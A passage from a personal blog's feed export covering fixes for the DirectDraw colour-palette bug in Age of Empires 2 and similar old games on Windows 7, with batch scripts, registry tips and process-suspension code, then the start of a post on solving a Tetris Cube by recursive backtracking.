ugly red border around it and the grass turns toogreen (your experience might be worse).&lt;br /&gt;&lt;br /&gt;Age Of Kings isn't the only game with this problem. Basically a lotof old &lt;a href="http://en.wikipedia.org/wiki/DirectDraw"&gt;Directdraw&lt;/a&gt; gamessuffer from this problem, like the first Age Of Empires, WormsArmageddon, and even Starcraft:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_X4W-h82Vgjw/Sm9tLcw1ckI/AAAAAAAAPNc/aBkiIRA3VxE/s1600-h/starcraft+2009-07-28+22-58-25-57.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_X4W-h82Vgjw/Sm9tLcw1ckI/AAAAAAAAPNc/aBkiIRA3VxE/s400/starcraft+2009-07-28+22-58-25-57.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;It's not too bad here though, most of the terrain looks okay.&lt;br /&gt;&lt;h3&gt;Solutions and methods&lt;/h3&gt;There are a few different solutions floating around. Let's list themost common ones. I've also listed how wellthey work next to each number, so you can quickly scan thelist. Newest and best performing methods come last.&lt;br /&gt;&lt;h4&gt;Unreliable and/or hard methods&lt;/h4&gt;Most methods below are unreliable, or do not work with everyone. Most of them are pretty annoying and/or hard to execute as well. If you want better solutions, just skip this part...&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;(1 - &lt;span style="color: #cc0000;"&gt;unreliable&lt;/span&gt;)&lt;/strong&gt; Alt-tab out of thegame, and then maximize it again. This worked in XP (and in Vistafor some users), and works in some cases in Windows 7. I had noluck with this anymore though. The colors would work for a fewseconds, but then changed again.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;(2 - &lt;span style="color: #cc0000;"&gt;unreliable&lt;/span&gt;)&lt;/strong&gt; Change your in-gameresolution. Doesn't work in Windows 7 anymore either. Afterswitching resolutions, the colors even became worse. This mightwork in Vista, but this solution is not really preferred (you wantto play on the best resolution possible).&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;(3 - &lt;span style="color: #cc0000;"&gt;unreliable&lt;/span&gt;)&lt;/strong&gt; Before starting thegame, open a explorer window. My Computer, a random folder,anything works. Surprisingly, this often worked in Vista with mostDirectdraw games. In Windows 7, not anymore.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;(4 - &lt;span style="color: #cc0000;"&gt;unreliable&lt;/span&gt;)&lt;/strong&gt; Mess around with the compatibilityoptions, especially &lt;tt&gt;Run in 256 colors&lt;/tt&gt;, &lt;tt&gt;Disable visualthemes&lt;/tt&gt;, &lt;tt&gt;Disable desktop composition&lt;/tt&gt;, &lt;tt&gt;Displaydisplay scaling on high DPI settings&lt;/tt&gt; and &lt;tt&gt;Run asadministrator&lt;/tt&gt;. This works for some games/users, but I don'treally like this method as it has a lot of drawbacks (desktopwindows/icons messed up when you exit etc...).&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;(5 - &lt;span style="color: #e69138;"&gt;mostly reliable butannoying&lt;/span&gt;)&lt;/strong&gt; Close &lt;tt&gt;explorer.exe&lt;/tt&gt; using theTask Manager. This works on both Vista and 7, for most games, butif you're like me, you don't like to close your 5+ open explorerwindows. Besides, there's a better solution...&lt;br /&gt;This method has been added to the program (see below). Another wayis to create a batch script, if you don't want to use theprogram:&lt;br /&gt;&lt;br /&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;REM kill explorer.exe&lt;br /&gt;taskkill /f /IM explorer.exe&lt;br /&gt;REM start the game and wait to finish&lt;br /&gt;REM note: /D indicates the starting directory, often the same as your&lt;br /&gt;game's exe&lt;br /&gt;start /WAIT /D "C:\path\to\game.exe" "C:\path\to\game.exe"&lt;br /&gt;REM start explorer.exe again&lt;br /&gt;start explorer.exe&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Or, another method:&lt;br /&gt;&lt;br /&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;taskkill /f /IM explorer.exe&lt;br /&gt;"C:\path\to\game.exe"&lt;br /&gt;REM if the game finishes press enter to restart explorer&lt;br /&gt;pause&lt;br /&gt;start explorer.exe&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;strong&gt;(6 - &lt;span style="color: #e69138;"&gt;mostly reliable butannoying&lt;/span&gt;)&lt;/strong&gt; Download a mod or tool forAge Of Kings: The Conquerors to play it in windowed mode. You canget it &lt;a href="http://veg.slutsk.net/aoe/aoe_tc_vegmod.zip"&gt;here&lt;/a&gt;. Unzip thearchive into your installation folder, and run &lt;tt&gt;AoC.eXe&lt;/tt&gt;. Ifyou want, you can also mess around in the &lt;tt&gt;config.xml&lt;/tt&gt; fileto change some options. This is how it looks:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_X4W-h82Vgjw/Sm9w5YpNrVI/AAAAAAAAPNk/iPHE3kGmxh0/s1600-h/aoe-windowed.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_X4W-h82Vgjw/Sm9w5YpNrVI/AAAAAAAAPNk/iPHE3kGmxh0/s400/aoe-windowed.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;On my large monitor, I actually enjoy playing this way.&lt;br /&gt;&lt;br /&gt;There are other mods out there for other games which allow to runthem in windowed mode. For Age Of Empires: Rise Of Rome, you canget &lt;a href="http://veg.slutsk.net/aoe/aoe_ror_vegmod.zip"&gt;thismod&lt;/a&gt;. Or you can get &lt;a href="http://www.nynaeve.net/?p=52"&gt;DxWnd&lt;/a&gt; which forces Directdraw(DirectX &amp;gt;=7) games to run in a window. I had no luck with itfor The Conquerors however.&amp;nbsp;For Starcraft, there are also some tools floating around to fix theresolution/window/colors.&amp;nbsp;For Worms: Armageddon, CyberShadow is working on a fix for the game(see &lt;a href="http://forum.team17.com/showthread.php?t=38762"&gt;here&lt;/a&gt;), so youmight want to keep an eye out for that.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;(7 - &lt;span style="color: #6aa84f;"&gt;mostly reliable butannoying&lt;/span&gt;)&lt;/strong&gt; This is the newly found strange "ScreenResolution"-method. Found on &lt;a href="http://www.sevenforums.com/gaming/2981-starcraft-fix-holy-cow.html"&gt;this&lt;/a&gt; forum recently. This is a weird workaround but seems towork on every game I've tried. Follow these steps exactly: rightclick on your desktop and pick &lt;tt&gt;Screen Resolution&lt;/tt&gt;. You'renot done yet (!), in the Screen Resolution window, click&lt;tt&gt;Advanced settings&lt;/tt&gt;. Another window will open - click the&lt;tt&gt;Monitor&lt;/tt&gt;-tab in that window. You should now be looking atsomething like this:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_X4W-h82Vgjw/Sr9vNe13FsI/AAAAAAAAPPQ/UI7ohu9IvmM/s1600-h/screenmethod.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_X4W-h82Vgjw/Sr9vNe13FsI/AAAAAAAAPPQ/UI7ohu9IvmM/s400/screenmethod.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Now, leave these windows open, and start the game. The colorsshould work. Unbelievably weird (I had to pick the Monitor tab forit to work), but it works. If it works for you too, you may stopreading here :).&lt;br /&gt;&lt;h4&gt;Newer and/or reliable methods&lt;/h4&gt;You'll find the easier, newer and more reliable methods in this section.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;(8 - &lt;span style="color: #6aa84f;"&gt;reliable&lt;/span&gt;)&lt;/strong&gt;&lt;a href="http://static.macuyiko.com/files/palettestealersuspender/PalettestealerSuspender.zip"&gt;Download a tool&lt;/a&gt; I quickly whipped up to play Directdraw gamesin fullscreen without them changing colors.&amp;nbsp;This tool will act as a launcher which places itself in your notification area and automatically suspends all applications which arechanging the game's colors and will bring them back alive when youclose the game. A full explanation and usage instructions for the tool can be found &lt;a href="http://blog.macuyiko.com/p/palettestealersuspender.html"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;(9 - &lt;span style="color: #6aa84f;"&gt;reliable&lt;/span&gt;)&lt;/strong&gt; Thanks to this &lt;a href="http://blog.macuyiko.com/2009/07/solving-color-problem-red-grass-purple.html?showComment=1280788386634#c2672861145655342118"&gt;comment&lt;/a&gt; I found out that Windows 7 actually provides a compatibility hack build in to allow running old DirectDraw games in all their glorious colors. The &lt;tt&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DirectDraw\Compatibility\&lt;/tt&gt; registry entry (or &lt;tt&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\Compatibility\&lt;/tt&gt; for 64bit Windows) contains entries for some popular games, such as Age Of Empires and Starcraft.&lt;br /&gt;&lt;br /&gt;Then why are those games not working right? It turns out that the ID used in the registry entries are very specific to the game version. You can follow along with &lt;a href="http://go.hopx.net/2010/05/256-color-issues-with-directdraw-and.html"&gt;this blogpost&lt;/a&gt; to find out all about this hack.&lt;br /&gt;&lt;br /&gt;If you don't want to download &lt;tt&gt;procmon&lt;/tt&gt; to figure out the application ID yourself then you can download a tool by Mudlord &lt;a href="http://mudlord.hcs64.com/code/w7ddpatcher.zip"&gt;here&lt;/a&gt; (or mirrored by me &lt;a href="http://static.macuyiko.com/files/w7ddpatcher/w7ddpatcher.zip"&gt;here&lt;/a&gt; because the original source seems to be down). The source code is included, and looks clean.&amp;nbsp;To use it, open the &lt;tt&gt;w7ddpatcher.exe&lt;/tt&gt; executable, and press &lt;tt&gt;Patch&lt;/tt&gt; to add a DirectDraw application to the registry. After patching, the game should always work with correct colors, and you won't have to use the program every time you want to play the game (unless you change the executable e.g., by updating the game).&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;strong&gt;(!):&lt;/strong&gt; note that this tool might not work with Windows Vista or XP, I've only tested it with Windows 7 myself. If you're using XP, you're probably better off using my tool (see #8 above), since it probably doesn't come with those registry entries. Also, the tool won't work out of the box for Age Of Empires 2 (and other SafeDisc using games), as that game needs an entry for &lt;tt&gt;age2_x1.icd&lt;/tt&gt; instead for &lt;tt&gt;age2_x1.exe&lt;/tt&gt;, as stated on &lt;a href="http://www.sevenforums.com/gaming/100379-how-i-fixed-corrupt-color-palette-some-old-games-windows-7-a-2.html"&gt;this forum thread&lt;/a&gt;. Take a look at &lt;tt&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication&lt;/tt&gt; to find out the correct application ID and edit the registry entry manually accordingly.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;(10 - &lt;span style="color: #6aa84f;"&gt;reliable for certain games&lt;/span&gt;)&lt;/strong&gt; A few days ago, &lt;a href="http://sol.gfxile.net/ddhack/"&gt;this writeup&lt;/a&gt; from Jari Komppa got my attention. This coding wizzard has programmed a custom ddraw.dll which wraps all DirectDraw calls and redirects them to an OpenGL surface. Tip of the hat to this guy. Download the DirectDraw Hack DLL binary from &lt;a href="http://sol.gfxile.net/ddhack/"&gt;his site&lt;/a&gt; and put it in the same directory as the game executable you're trying to run. It should work for Wing Commander, StarCraft 1, WarCraft 2, Fallout and Fallout 2.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;strong&gt;(!):&lt;/strong&gt; the DLL alas, does currently (as per last update to this blog post) not work for Age Of Empires 2. So I'm still shamelessly plugging my tool for that game (see #8 above).&lt;br /&gt;&lt;h3&gt;Technical explanation&lt;/h3&gt;&lt;div&gt;If you're interested in a little background on why thisproblem is happening, read on.&lt;/div&gt;&lt;div&gt;When I first encountered this problem, I already knew a little about &lt;a href="http://en.wikipedia.org/wiki/DirectX"&gt;DirectX&lt;/a&gt;, the &lt;a href="http://en.wikipedia.org/wiki/Graphics_Device_Interface"&gt;GDI&lt;/a&gt;and the &lt;a href="http://en.wikipedia.org/wiki/Windows_API"&gt;WindowsAPI&lt;/a&gt;. Basically, back in the day, DirectX (which handles a lotof the graphics and multimedia workload in games and other program)included a component called Directdraw, used for rendering 2D graphics.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;PCs back then weren't really powerful. Everything had to be asfast as possible, even color handling. Sosomething which Directdraw did for you was maintaining a palette of256 colors. Like a painter, programmers could fill this palettewith 256 colors they would use: ten greens for grass, 6 blues forwater, and so on. Some of these 256 colors are static (but thenagain, not always) and cannot be changed. If you're interested inthe deep and dirty details: &lt;a href="http://www.compuphase.com/palette.htm"&gt;this page&lt;/a&gt; does a goodjob explaining it.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now this is the thing: if you're a fullscreen game, you don'twant other programs screwing up the system palette, changing yourbeautiful chosen colors to ugly greens and reds. And this is what'shappening in Windows 7. If you read &lt;a href="http://msdn.microsoft.com/en-us/library/dd145128(VS.85).aspx"&gt;SystemPalette and Static Colors&lt;/a&gt; on MSDN, it states that "However,because changing the static colors can have an immediate anddramatic effect on all windows on the display, an applicationshould not call SetSystemPaletteUse, unless it has a maximizedwindow and the input focus." Alas, this is not enforced by Windows,and thus &lt;tt&gt;explorer.exe&lt;/tt&gt; (which comes from Microsoft mindyou) and other programs will happily call&lt;tt&gt;SetSystemPaletteUse&lt;/tt&gt; and mess the poor fullscreen DirectDraw game up.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I googled a bit around to see if I could find any clues.&lt;a href="http://stackoverflow.com/questions/1054365/exclusive-directdraw-palette-isnt-actually-exclusive"&gt;This message&lt;/a&gt; at Stackoverflow describes the same problem. This message is actually posted by the maintainers ofWorms: Armageddon. No-one provided ananswer though. I opened up Visual Studio (which was stillinstalled) to quickly throw something together in VB.NET to&amp;nbsp;intercept the &lt;tt&gt;WM_SYSCOLORCHANGE&lt;/tt&gt;,&lt;tt&gt;WM_PALETTECHANGED&lt;/tt&gt;, &lt;tt&gt;WM_PALETTEISCHANGING&lt;/tt&gt; and&lt;tt&gt;WM_QUERYNEWPALETTE&lt;/tt&gt; messages and look at where they'recoming from. Basically, three processes are fighting:&lt;/div&gt;&lt;br /&gt;&lt;code class="prettyprint"&gt;CHANGING from (0)&lt;br /&gt;CHANGED from Age of Empires II Expansion (135458)&lt;br /&gt;Device context: 16847861&lt;br /&gt;Process: 4508: age2_x1&lt;br /&gt;Got 256 palette size scr&lt;br /&gt;[...]&lt;br /&gt;CHANGED from GDI+ Window (917744)&lt;br /&gt;Device context: 184626156&lt;br /&gt;Process: 2452: explorer&lt;br /&gt;Got 256 palette size scr&lt;br /&gt;CHANGED from (65552)&lt;br /&gt;Device context: 1744905863&lt;br /&gt;Process: 540: csrss&lt;br /&gt;Got 256 palette size scr&lt;br /&gt;[...]&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;The game itself, &lt;tt&gt;explorer.exe&lt;/tt&gt;, and&lt;tt&gt;csrss.exe&lt;/tt&gt;.&lt;br /&gt;&lt;br /&gt;I then wanted to make a program which would change the palette backevery time an outside process tried to change it. A had a wholelist of functions loaded and code written, but it just didn't work out and turned out to be too difficult.Also, I was beginning to suspect that this method could work, butwould still result in flickering while changing palettes. I wasbrowsing around at the Worms Armageddon &lt;a href="http://forum.team17.com/showthread.php?t=38762"&gt;forums&lt;/a&gt;, andfound out that somebody wrote a DLL with source code for thisproblem. The code was written in Delphi and easy enough toread: grab a process, find every thread, and send thesuspend message to every thread. I converted this code to VB.NETand slapped it on a form which would grab every&lt;tt&gt;WM_PALETTECHANGED&lt;/tt&gt; message to update its list ofprocesses.&lt;br /&gt;&lt;br /&gt;Note that there is actually also a lesser&amp;nbsp;known way to suspend aprocess with one API call, without iterating all the threads, which isused in the PsSuspend- and Process Explorer tools made bySysInternals:&lt;br /&gt;&lt;br /&gt;&lt;code class="prettyprint"&gt;&lt;dllimport("ntdll.dll", charset:="CharSet.Auto," exactspelling:="True)" setlasterror:="True,"&gt;_&lt;br /&gt;Public Shared Function NtSuspendProcess(ByVal ProcessHandle AsIntPtr) As Integer&lt;br /&gt;End Function&lt;br /&gt;&lt;dllimport("ntdll.dll", charset:="CharSet.Auto," exactspelling:="True)" setlasterror:="True,"&gt; _&lt;br /&gt;Public Shared Function NtResumeProcess(ByVal ProcessHandle AsIntPtr) As Integer&lt;br /&gt;End Function&lt;/dllimport("ntdll.dll",&gt;&lt;/dllimport("ntdll.dll",&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;The full source code for my PalettestealerSuspender program can be found on&amp;nbsp;&lt;a href="http://blog.macuyiko.com/p/palettestealersuspender.html"&gt;this page on my blog&lt;/a&gt;.&amp;nbsp;Consider it a reward for reading all the way to the end.&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-4007054422232755171?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/4007054422232755171/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.macuyiko.com/2009/07/solving-color-problem-red-grass-purple.html#comment-form' title='89 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/4007054422232755171'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/4007054422232755171'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2009/07/solving-color-problem-red-grass-purple.html' title='Solving Color Problem (Red Grass, Purple Water) In Age Of Empires 2: Age Of Kings (The Conquerors And Others Too) On Vista And Windows 7'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_X4W-h82Vgjw/Sm9qKTG5QxI/AAAAAAAAPNE/dMiZGWxevro/s72-c/is.jpg' height='72' width='72'/><thr:total>89</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-6931126121791406691</id><published>2009-06-23T01:34:00.009+02:00</published><updated>2009-10-02T08:45:47.415+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tetris cube'/><category scheme='http://www.blogger.com/atom/ns#' term='algorithm x'/><category scheme='http://www.blogger.com/atom/ns#' term='recursive'/><category scheme='http://www.blogger.com/atom/ns#' term='algorithms'/><category scheme='http://www.blogger.com/atom/ns#' term='backtracking'/><category scheme='http://www.blogger.com/atom/ns#' term='dancing links'/><category scheme='http://www.blogger.com/atom/ns#' term='optimization'/><category scheme='http://www.blogger.com/atom/ns#' term='solving'/><category scheme='http://www.blogger.com/atom/ns#' term='knuth'/><category scheme='http://www.blogger.com/atom/ns#' term='recursive backtracking'/><title type='text'>Solving A Tetris Cube, Recursive Backtracking, Algorithm X, Oh My!</title><content type='html'>&lt;a href="http://draft.blogger.com/"&gt;&lt;/a&gt;A few days ago I got my hands on one of these:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;a href="http://www.amazon.com/Imagination-International-1504-Tetris-Cube/dp/B000PWPAJ4"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_X4W-h82Vgjw/SsWhepcG4cI/AAAAAAAAPPw/Q4bKUWnAUL4/s200/41j38E8H-5L._SL500_AA280_.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;A Tetris Cube. Twelve pieces, and a box of 4 by 4 by 4. Your task: to put the pieces neatly in the box again. The box said there are more than 9000 solutions, but I knew nonetheless this wasn't going to be an easy task. I was going to solve it, "Without cheating!", I proclaimed proudly.&lt;br /&gt;&lt;br /&gt;An hour or so later these little blocks were completely driving me crazy. Usually I'm not that bad with these kinds of puzzles, but this thing certainly proved to be very difficult. I decided to call it a day and would try again later.&lt;br /&gt;&lt;br /&gt;The next day I tried again, I was making a little progress, but every time I came close a little piece stuck out &lt;i&gt;just a tiny little bit&lt;/i&gt;! This was going nowhere. If I were to beat this devil's contraption, I would need to resort to other means.&lt;br /&gt;&lt;br /&gt;"I'll just throw together a recursive function real quick, that should be easy enough, right? (And no, that is &lt;i&gt;not&lt;/i&gt; cheating...)" How I came to regret those words. In my experience, this:&lt;br /&gt;&lt;blockquote&gt;I'll just quickly find a solution with recursive backtracking.&lt;br /&gt;&lt;/blockquote&gt;Almost always turns into this:&lt;br /&gt;&lt;blockquote&gt;Damn, damn, damn! Why is it so slow? How can I speed this thing up?&lt;br /&gt;&lt;/blockquote&gt;But first things first. There are a few ways you could solve this, but first, let's take a slight detour to explain backtracking (you may skip this if you already know all this, but if you &lt;i&gt;do&lt;/i&gt; know all this, then you probably know the solution to the puzzle as well, or would handle things better than I did):&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Detour: Recursive backtracking in general&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;Let's see what a recursive backtracking function generally looks like:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;recursive_funtion(level) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;for all possible ways for something {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try it&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if solution valid {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if solution complete {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;done, show solution&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}else{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;recursive_function(next_level)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(revert this try)&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;/code&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;As you can see, this method consists of a level, which we traverse in each recursive call, and a set of local decisions we make at each level. Take a magic square, for example (image from the &lt;a href="http://en.wikipedia.org/wiki/Magic_square"&gt;Wikipedia&lt;/a&gt; page):&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://upload.wikimedia.org/wikipedia/commons/thumb/e/e4/Magicsquareexample.svg/180px-Magicsquareexample.svg.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://upload.wikimedia.org/wikipedia/commons/thumb/e/e4/Magicsquareexample.svg/180px-Magicsquareexample.svg.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;With the above method, we would define our level as the position in the grid (ranging from 1 to 9, as there are 9 spaces to fill with a number), the decisions at each level would be a number ranging from 1 to 9, our function would be:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;recursive_funtion(position) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;for number from 1 to 9, not used elsewhere already {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;put this number on this position, make it unavailable&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if solution valid {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if solution complete {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;done, show solution&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}else{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;recursive_function(next_position)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(make this space blank again, and the number available)&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;/code&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;A few remarks:&lt;br /&gt;(1) As each number can only be used once in the whole square, we must keep an array or set somewhere to keep track of the numbers used, which can be easily done in each programming language.&lt;br /&gt;(2) Note that we can check mid-solution, we must not wait until we are at position 9 (the last position) to check if the solution is valid. In fact, we can speed things up a bit by implementing a few optimalizations. For example: after each row is done (at positions 3, 6 and 9), check if this row sums to 15, if it does not, there is no sense continuing towards deeper levels in our tree.&lt;br /&gt;&lt;br /&gt;Speaking of trees, I hope you see how the combination of levels and decisions correspond to a tree. If you do not: here is a picture:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_X4W-h82Vgjw/Sj_kNqo4oBI/AAAAAAAAPKk/gfiRKCnrFYc/s1600-h/illustration_base.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_X4W-h82Vgjw/Sj_kNqo4oBI/AAAAAAAAPKk/gfiRKCnrFYc/s400/illustration_base.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;(Not all levels, lines and branches are shown, but it should give you a pretty clear idea.) Note that, if we picked e.g. the number 2 for position (level) 1, we cannot use it in the following levels, as shown in the tree.&lt;br /&gt;&lt;br /&gt;Now let's see how the function will work, we start at the first level, with the first number:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_X4W-h82Vgjw/Sj_lIbDRx0I/AAAAAAAAPK0/eHGcTB3-QLY/s1600-h/tree2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_X4W-h82Vgjw/Sj_lIbDRx0I/AAAAAAAAPK0/eHGcTB3-QLY/s400/tree2.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;This is a valid choice, so we can step down to the next level. In level 2, our first number we can pick is 2:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_X4W-h82Vgjw/Sj_lKowgRsI/AAAAAAAAPK8/vuIcYsQqK0I/s1600-h/tree3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_X4W-h82Vgjw/Sj_lKowgRsI/AAAAAAAAPK8/vuIcYsQqK0I/s400/tree3.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;This is a valid choice, so we can step down to the next level. In level 3, we can pick 3, let's see what happens:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_X4W-h82Vgjw/Sj_lMWhNHiI/AAAAAAAAPLE/nA_oX-8fKhk/s1600-h/tree4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_X4W-h82Vgjw/Sj_lMWhNHiI/AAAAAAAAPLE/nA_oX-8fKhk/s400/tree4.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;Since we now have a complete row, we can check if the sum 1+2+3=15. Is isn't, so it makes no sense to continue at this point. Look at the huge part of the tree we can "cut off", as shown by the red curved line.&lt;br /&gt;&lt;br /&gt;We're still in level 3, we try the following number: 4. 1+2+4=7, which isn't 15. We can cut away this part as well. Number 5 gives 8, 6 gives 9, and so on until number 9 gives 1+2+9=12, all the branches have been cut. Note that we can make an &lt;b&gt;important observation&lt;/b&gt; here: your optimizations should try to cut away from the tree as early as possible, that way, the solution space in which we have to search can be decreased dramatically. (This is also the reason why the hardest choices or levels are often put first in these trees.)&lt;br /&gt;&lt;br /&gt;Now the algorithm "backtracks" back to level 2, and tries the following number there: 2:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_X4W-h82Vgjw/Sj_lOtG9w5I/AAAAAAAAPLM/Y73zU9n0DTE/s1600-h/tree5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" 